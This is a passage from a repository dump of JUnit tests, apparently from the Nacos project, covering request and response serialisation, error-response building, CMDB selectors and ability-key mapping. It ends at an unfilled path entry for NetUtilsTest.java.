    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass SetupAckRequestTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        SetupAckRequest request = new SetupAckRequest(\n                Collections.singletonMap(AbilityKey.SERVER_FUZZY_WATCH.getName(), Boolean.TRUE));\n        request.setRequestId(\"1\");\n        String json = mapper.writeValueAsString(request);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"abilityTable\\\":{\\\"fuzzyWatch\\\":true}\"));\n        assertTrue(json.contains(\"\\\"module\\\":\\\"internal\\\"\"));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json =\n                \"{\\\"headers\\\":{},\\\"requestId\\\":\\\"1\\\",\\\"abilityTable\\\":{\\\"fuzzyWatch\\\":true},\\\"module\\\":\\\"internal\\\"}\";\n        SetupAckRequest result = mapper.readValue(json, SetupAckRequest.class);\n        assertNotNull(result);\n        assertTrue(result.getAbilityTable().get(AbilityKey.SDK_CLIENT_FUZZY_WATCH.getName()));\n        assertEquals(\"1\", result.getRequestId());\n        assertEquals(\"internal\", result.getModule());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/response/EmptyContentResponseTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.response;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass EmptyContentResponseTest {\n    \n    private static final String COMMON_JSON = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"requestId\\\":\\\"1\\\",\\\"success\\\":true}\";\n    \n    private static final String TO_STRING = \"Response{resultCode=200, errorCode=0, message='null', requestId='1'}\";\n    \n    ObjectMapper mapper = new ObjectMapper();\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSetErrorInfo() {\n        Response response = new Response() {\n        };\n        response.setErrorInfo(ResponseCode.FAIL.getCode(), ResponseCode.FAIL.getDesc());\n        assertEquals(ResponseCode.FAIL.getCode(), response.getErrorCode());\n        assertEquals(ResponseCode.FAIL.getCode(), response.getResultCode());\n        assertEquals(ResponseCode.FAIL.getDesc(), response.getMessage());\n    }\n    \n    @Test\n    void testClientDetectionResponse() throws JsonProcessingException {\n        ClientDetectionResponse response = new ClientDetectionResponse();\n        response.setRequestId(\"1\");\n        String actual = mapper.writeValueAsString(response);\n        assertCommonResponseJson(actual);\n        response = mapper.readValue(COMMON_JSON, ClientDetectionResponse.class);\n        assertCommonResponse(response);\n    }\n    \n    @Test\n    void testConnectResetResponse() throws JsonProcessingException {\n        ConnectResetResponse response = new ConnectResetResponse();\n        response.setRequestId(\"1\");\n        String actual = mapper.writeValueAsString(response);\n        assertCommonResponseJson(actual);\n        response = mapper.readValue(COMMON_JSON, ConnectResetResponse.class);\n        assertCommonResponse(response);\n    }\n    \n    @Test\n    void testHealthCheckResponse() throws JsonProcessingException {\n        HealthCheckResponse response = new HealthCheckResponse();\n        response.setRequestId(\"1\");\n        String actual = mapper.writeValueAsString(response);\n        assertCommonResponseJson(actual);\n        response = mapper.readValue(COMMON_JSON, HealthCheckResponse.class);\n        assertCommonResponse(response);\n    }\n    \n    @Test\n    void testServerReloadResponse() throws JsonProcessingException {\n        ServerReloadResponse response = new ServerReloadResponse();\n        response.setRequestId(\"1\");\n        String actual = mapper.writeValueAsString(response);\n        assertCommonResponseJson(actual);\n        response = mapper.readValue(COMMON_JSON, ServerReloadResponse.class);\n        assertCommonResponse(response);\n    }\n    \n    @Test\n    void testSetupAckResponse() throws JsonProcessingException {\n        SetupAckResponse response = new SetupAckResponse();\n        response.setRequestId(\"1\");\n        String actual = mapper.writeValueAsString(response);\n        assertCommonResponseJson(actual);\n        response = mapper.readValue(COMMON_JSON, SetupAckResponse.class);\n        assertCommonResponse(response);\n    }\n    \n    private void assertCommonResponse(Response response) {\n        assertTrue(response.isSuccess());\n        assertNull(response.getMessage());\n        assertEquals(0, response.getErrorCode());\n        assertEquals(ResponseCode.SUCCESS.code, response.getResultCode());\n        assertEquals(\"1\", response.getRequestId());\n        assertEquals(TO_STRING, response.toString());\n    }\n    \n    private void assertCommonResponseJson(String actualJson) {\n        assertTrue(actualJson.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(actualJson.contains(\"\\\"success\\\":true\"));\n        assertTrue(actualJson.contains(\"\\\"errorCode\\\":0\"));\n        assertTrue(actualJson.contains(\"\\\"resultCode\\\":200\"));\n        assertFalse(actualJson.contains(\"\\\"message\\\"\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/response/ErrorResponseTest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.response;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass ErrorResponseTest {\n    \n    @Test\n    void testBuildWithErrorCode() {\n        int errorCode = 500;\n        String msg = \"err msg\";\n        \n        Response response = ErrorResponse.build(errorCode, msg);\n        \n        assertEquals(errorCode, response.getErrorCode());\n        assertEquals(errorCode, response.getResultCode());\n        assertEquals(msg, response.getMessage());\n    }\n    \n    @Test\n    void testBuildWithThrowable() {\n        String errMsg = \"exception msg\";\n        RuntimeException runtimeException = new RuntimeException(errMsg);\n        \n        Response response = ErrorResponse.build(runtimeException);\n        \n        assertEquals(ResponseCode.FAIL.getCode(), response.getErrorCode());\n        assertEquals(ResponseCode.FAIL.getCode(), response.getResultCode());\n        assertEquals(errMsg, response.getMessage());\n    }\n    \n    @Test\n    void testBuildWithNacosException() {\n        int errCode = 500;\n        String errMsg = \"nacos exception msg\";\n        NacosException nacosException = new NacosException(errCode, errMsg);\n        \n        Response response = ErrorResponse.build(nacosException);\n        \n        assertEquals(errCode, response.getErrorCode());\n        assertEquals(errCode, response.getResultCode());\n        assertEquals(errMsg, response.getMessage());\n    }\n    \n    @Test\n    void testBuildWithNacosRuntimeException() {\n        int errCode = 500;\n        String errMsg = \"nacos runtime exception msg\";\n        NacosRuntimeException nacosRuntimeException = new NacosRuntimeException(errCode, errMsg);\n        \n        Response response = ErrorResponse.build(nacosRuntimeException);\n        \n        assertEquals(errCode, response.getErrorCode());\n        assertEquals(errCode, response.getResultCode());\n        assertEquals(\"errCode: \" + errCode + \", errMsg: \" + errMsg + \" \", response.getMessage());\n    }\n    \n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/response/ServerCheckResponseTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.response;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ServerCheckResponseTest {\n    \n    ObjectMapper mapper = new ObjectMapper();\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerialization() throws JsonProcessingException {\n        ServerCheckResponse response = new ServerCheckResponse(\"35643245_1.1.1.1_3306\", false);\n        String actual = mapper.writeValueAsString(response);\n        assertTrue(actual.contains(\"\\\"connectionId\\\":\\\"35643245_1.1.1.1_3306\\\"\"));\n        assertTrue(actual.contains(\"\\\"supportAbilityNegotiation\\\":false\"));\n    }\n    \n    @Test\n    void testDeserialization() throws JsonProcessingException {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"connectionId\\\":\\\"35643245_1.1.1.1_3306\\\",\\\"success\\\":true,\"\n                + \"\\\"supportAbilityNegotiation\\\":true}\";\n        ServerCheckResponse response = mapper.readValue(json, ServerCheckResponse.class);\n        assertEquals(\"35643245_1.1.1.1_3306\", response.getConnectionId());\n        assertTrue(response.isSupportAbilityNegotiation());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/response/ServerLoaderInfoResponseTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.response;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ServerLoaderInfoResponseTest {\n    \n    ObjectMapper mapper = new ObjectMapper();\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerialization() throws JsonProcessingException {\n        ServerLoaderInfoResponse response = new ServerLoaderInfoResponse();\n        response.putMetricsValue(\"test\", \"testValue\");\n        String actual = mapper.writeValueAsString(response);\n        System.out.println(actual);\n        assertTrue(actual.contains(\"\\\"loaderMetrics\\\":{\\\"test\\\":\\\"testValue\\\"}\"));\n    }\n    \n    @Test\n    void testDeserialization() throws JsonProcessingException {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"loaderMetrics\\\":{\\\"test\\\":\\\"testValue\\\"},\\\"success\\\":true}\";\n        ServerLoaderInfoResponse response = mapper.readValue(json, ServerLoaderInfoResponse.class);\n        assertEquals(1, response.getLoaderMetrics().size());\n        assertEquals(\"testValue\", response.getMetricsValue(\"test\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/selector/AbstractCmdbSelectorTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.selector;\n\nimport com.alibaba.nacos.api.cmdb.pojo.Entity;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.selector.context.CmdbContext;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.concurrent.atomic.AtomicInteger;\n\nimport static com.alibaba.nacos.api.common.Constants.Naming.CMDB_CONTEXT_TYPE;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AbstractCmdbSelectorTest {\n    \n    private AtomicInteger counter;\n    \n    @BeforeEach\n    void setUp() {\n        counter = new AtomicInteger();\n    }\n    \n    @Test\n    void testSetExpression() {\n        MockCmdbSelector cmdbSelector = new MockCmdbSelector();\n        assertNull(cmdbSelector.getExpression());\n        cmdbSelector.setExpression(\"test\");\n        assertEquals(\"test\", cmdbSelector.getExpression());\n    }\n    \n    @Test\n    void testParse() throws NacosException {\n        MockCmdbSelector cmdbSelector = new MockCmdbSelector();\n        cmdbSelector.parse(\"test\");\n        assertEquals(\"test\", cmdbSelector.getExpression());\n        assertEquals(1, counter.get());\n    }\n    \n    @Test\n    void testSelect() {\n        CmdbContext<Instance> context = new CmdbContext<>();\n        CmdbContext.CmdbInstance<Instance> provider = new CmdbContext.CmdbInstance<>();\n        provider.setInstance(new Instance());\n        provider.setEntity(new Entity());\n        context.setProviders(Collections.singletonList(provider));\n        CmdbContext.CmdbInstance<Instance> consumer = new CmdbContext.CmdbInstance<>();\n        consumer.setInstance(new Instance());\n        consumer.setEntity(new Entity());\n        context.setConsumer(consumer);\n        List<Instance> actual = new MockCmdbSelector().select(context);\n        assertNull(actual.get(0).getIp());\n        assertTrue(actual.get(0).getMetadata().isEmpty());\n        assertEquals(\"true\", provider.getInstance().getMetadata().get(\"afterSelect\"));\n        assertEquals(\"true\", provider.getEntity().getLabels().get(\"afterSelect\"));\n        assertEquals(\"true\", consumer.getInstance().getMetadata().get(\"afterSelect\"));\n        assertEquals(\"true\", consumer.getEntity().getLabels().get(\"afterSelect\"));\n    }\n    \n    @Test\n    void testGetContextType() {\n        assertEquals(CMDB_CONTEXT_TYPE, new MockCmdbSelector().getContextType());\n    }\n    \n    @Test\n    void testGetType() {\n        assertEquals(\"mock\", new MockCmdbSelector().getType());\n    }\n    \n    private class MockCmdbSelector extends AbstractCmdbSelector<Instance> {\n        \n        @Override\n        protected void doParse(String expression) throws NacosException {\n            counter.incrementAndGet();\n        }\n        \n        @Override\n        protected List<Instance> doSelect(CmdbContext<Instance> context) {\n            for (CmdbContext.CmdbInstance<Instance> each : context.getProviders()) {\n                each.getInstance().getMetadata().put(\"afterSelect\", \"true\");\n                each.getEntity().setLabels(Collections.singletonMap(\"afterSelect\", \"true\"));\n            }\n            context.getConsumer().getInstance().getMetadata().put(\"afterSelect\", \"true\");\n            context.getConsumer().getEntity().setLabels(Collections.singletonMap(\"afterSelect\", \"true\"));\n            return Collections.singletonList(new Instance());\n        }\n        \n        @Override\n        public String getType() {\n            return \"mock\";\n        }\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/selector/ExpressionSelectorTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.selector;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.fasterxml.jackson.databind.jsontype.NamedType;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ExpressionSelectorTest {\n    \n    ObjectMapper mapper = new ObjectMapper();\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n        mapper.registerSubtypes(new NamedType(ExpressionSelector.class, SelectorType.label.name()));\n    }\n    \n    @Test\n    void testSerialization() throws JsonProcessingException {\n        ExpressionSelector selector = new ExpressionSelector();\n        selector.setExpression(\"test expression\");\n        String actual = mapper.writeValueAsString(selector);\n        assertTrue(actual.contains(\"\\\"type\\\":\\\"\" + SelectorType.label.name() + \"\\\"\"));\n        assertTrue(actual.contains(\"\\\"expression\\\":\\\"test expression\\\"\"));\n    }\n    \n    @Test\n    void testDeserialization() throws JsonProcessingException {\n        String json = \"{\\\"type\\\":\\\"label\\\",\\\"expression\\\":\\\"test expression\\\"}\";\n        AbstractSelector actual = mapper.readValue(json, AbstractSelector.class);\n        assertEquals(SelectorType.label.name(), actual.getType());\n        ExpressionSelector selector = (ExpressionSelector) actual;\n        assertEquals(\"test expression\", selector.getExpression());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/selector/NoneSelectorTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.selector;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.fasterxml.jackson.databind.jsontype.NamedType;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass NoneSelectorTest {\n    \n    ObjectMapper mapper = new ObjectMapper();\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n        mapper.registerSubtypes(new NamedType(NoneSelector.class, SelectorType.none.name()));\n    }\n    \n    @Test\n    void testSerialization() throws JsonProcessingException {\n        NoneSelector selector = new NoneSelector();\n        String actual = mapper.writeValueAsString(selector);\n        assertTrue(actual.contains(\"\\\"type\\\":\\\"\" + SelectorType.none.name() + \"\\\"\"));\n    }\n    \n    @Test\n    void testDeserialization() throws JsonProcessingException {\n        String json = \"{\\\"type\\\":\\\"none\\\"}\";\n        AbstractSelector actual = mapper.readValue(json, AbstractSelector.class);\n        assertEquals(SelectorType.none.name(), actual.getType());\n    }\n    \n    @Test\n    void testCommandMethod() throws NacosException {\n        NoneSelector selector = new NoneSelector();\n        assertNull(selector.parse(\"\"));\n        List<Instance> instances = new ArrayList<>();\n        assertEquals(instances, selector.select(instances));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/selector/context/CmdbContextTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.selector.context;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass CmdbContextTest {\n    \n    @Test\n    void testToString() {\n        CmdbContext<Instance> cmdbContext = new CmdbContext<>();\n        cmdbContext.setProviders(Collections.singletonList(new CmdbContext.CmdbInstance<>()));\n        cmdbContext.setConsumer(new CmdbContext.CmdbInstance<>());\n        System.out.println(cmdbContext.toString());\n        assertEquals(\n                \"CmdbContext{consumer=CmdbInstance{entity=null, instance=null}, providers=[CmdbInstance{entity=null, instance=null}]}\",\n                cmdbContext.toString());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/utils/AbilityKeyTest.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.utils;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityMode;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * .\n *\n * @author Daydreamer\n * @description Ability key test\n * @date 2022/9/8 12:27\n **/\nclass AbilityKeyTest {\n    \n    @Test\n    void testMapStr() {\n        Map<AbilityKey, Boolean> enumMap = new HashMap<>();\n        Map<String, Boolean> stringBooleanMap = AbilityKey.mapStr(enumMap);\n        assertEquals(0, stringBooleanMap.size());\n        \n        enumMap.put(AbilityKey.SERVER_FUZZY_WATCH, true);\n        enumMap.put(AbilityKey.SERVER_DISTRIBUTED_LOCK, false);\n        enumMap.put(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC, false);\n        enumMap.put(AbilityKey.SERVER_MCP_REGISTRY, false);\n        enumMap.put(AbilityKey.SERVER_AGENT_REGISTRY, false);\n        stringBooleanMap = AbilityKey.mapStr(enumMap);\n        assertEquals(5, stringBooleanMap.size());\n        assertTrue(stringBooleanMap.get(AbilityKey.SERVER_FUZZY_WATCH.getName()));\n        assertFalse(stringBooleanMap.get(AbilityKey.SERVER_DISTRIBUTED_LOCK.getName()));\n        assertFalse(stringBooleanMap.get(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC.getName()));\n        assertFalse(stringBooleanMap.get(AbilityKey.SERVER_MCP_REGISTRY.getName()));\n        assertFalse(stringBooleanMap.get(AbilityKey.SERVER_AGENT_REGISTRY.getName()));\n        \n        enumMap.put(AbilityKey.SERVER_DISTRIBUTED_LOCK, true);\n        enumMap.put(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC, true);\n        enumMap.put(AbilityKey.SERVER_MCP_REGISTRY, true);\n        enumMap.put(AbilityKey.SERVER_AGENT_REGISTRY, true);\n        stringBooleanMap = AbilityKey.mapStr(enumMap);\n        assertEquals(5, stringBooleanMap.size());\n        assertTrue(stringBooleanMap.get(AbilityKey.SERVER_FUZZY_WATCH.getName()));\n        assertTrue(stringBooleanMap.get(AbilityKey.SERVER_DISTRIBUTED_LOCK.getName()));\n        assertTrue(stringBooleanMap.get(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC.getName()));\n        assertTrue(stringBooleanMap.get(AbilityKey.SERVER_MCP_REGISTRY.getName()));\n        assertTrue(stringBooleanMap.get(AbilityKey.SERVER_AGENT_REGISTRY.getName()));\n    }\n    \n    @Test\n    void testMapEnumForEmpty() {\n        Map<AbilityKey, Boolean> actual = AbilityKey.mapEnum(AbilityMode.SERVER, Collections.emptyMap());\n        assertTrue(actual.isEmpty());\n    }\n    \n    @Test\n    void testMapEnum() {\n        Map<String, Boolean> mapStr = new HashMap<>();\n        mapStr.put(\"test-no-existed\", true);\n        Map<AbilityKey, Boolean> enumMap = AbilityKey.mapEnum(AbilityMode.SERVER, mapStr);\n        assertEquals(0, enumMap.size());\n        \n        mapStr.put(AbilityKey.SERVER_DISTRIBUTED_LOCK.getName(), false);\n        mapStr.put(AbilityKey.SERVER_FUZZY_WATCH.getName(), true);\n        mapStr.put(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC.getName(), true);\n        mapStr.put(AbilityKey.SERVER_MCP_REGISTRY.getName(), true);\n        enumMap = AbilityKey.mapEnum(AbilityMode.SERVER, mapStr);\n        assertFalse(enumMap.get(AbilityKey.SERVER_DISTRIBUTED_LOCK));\n        assertTrue(enumMap.get(AbilityKey.SERVER_FUZZY_WATCH));\n        assertTrue(enumMap.get(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC));\n        assertTrue(enumMap.get(AbilityKey.SERVER_MCP_REGISTRY));\n        \n        mapStr.clear();\n        mapStr.put(AbilityKey.SERVER_DISTRIBUTED_LOCK.getName(), true);\n        mapStr.put(AbilityKey.SERVER_FUZZY_WATCH.getName(), true);\n        mapStr.put(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC.getName(), true);\n        mapStr.put(AbilityKey.SERVER_MCP_REGISTRY.getName(), true);\n        enumMap = AbilityKey.mapEnum(AbilityMode.SERVER, mapStr);\n        assertTrue(enumMap.get(AbilityKey.SERVER_DISTRIBUTED_LOCK));\n        assertTrue(enumMap.get(AbilityKey.SERVER_FUZZY_WATCH));\n        assertTrue(enumMap.get(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC));\n        assertTrue(enumMap.get(AbilityKey.SERVER_MCP_REGISTRY));\n        \n    }\n    \n    @Test\n    void testGetAllValues() {\n        Collection<AbilityKey> actual = AbilityKey.getAllValues(AbilityMode.SERVER);\n        assertEquals(5, actual.size());\n        actual = AbilityKey.getAllValues(AbilityMode.SDK_CLIENT);\n        assertEquals(4, actual.size());\n        actual = AbilityKey.getAllValues(AbilityMode.CLUSTER_CLIENT);\n        assertEquals(1, actual.size());\n    }\n    \n    @Test\n    void testGetAllNames() {\n        Collection<String> actual = AbilityKey.getAllNames(AbilityMode.SERVER);\n        assertEquals(5, actual.size());\n        actual = AbilityKey.getAllNames(AbilityMode.SDK_CLIENT);\n        assertEquals(4, actual.size());\n        actual = AbilityKey.getAllNames(AbilityMode.CLUSTER_CLIENT);\n        assertEquals(1, actual.size());\n    }\n    \n    @Test\n    void testGetDescription() {\n        assertEquals(\"Server whether support fuzzy watch service or config\",\n                AbilityKey.SERVER_FUZZY_WATCH.getDescription());\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/utils/NetUtilsTest.java",
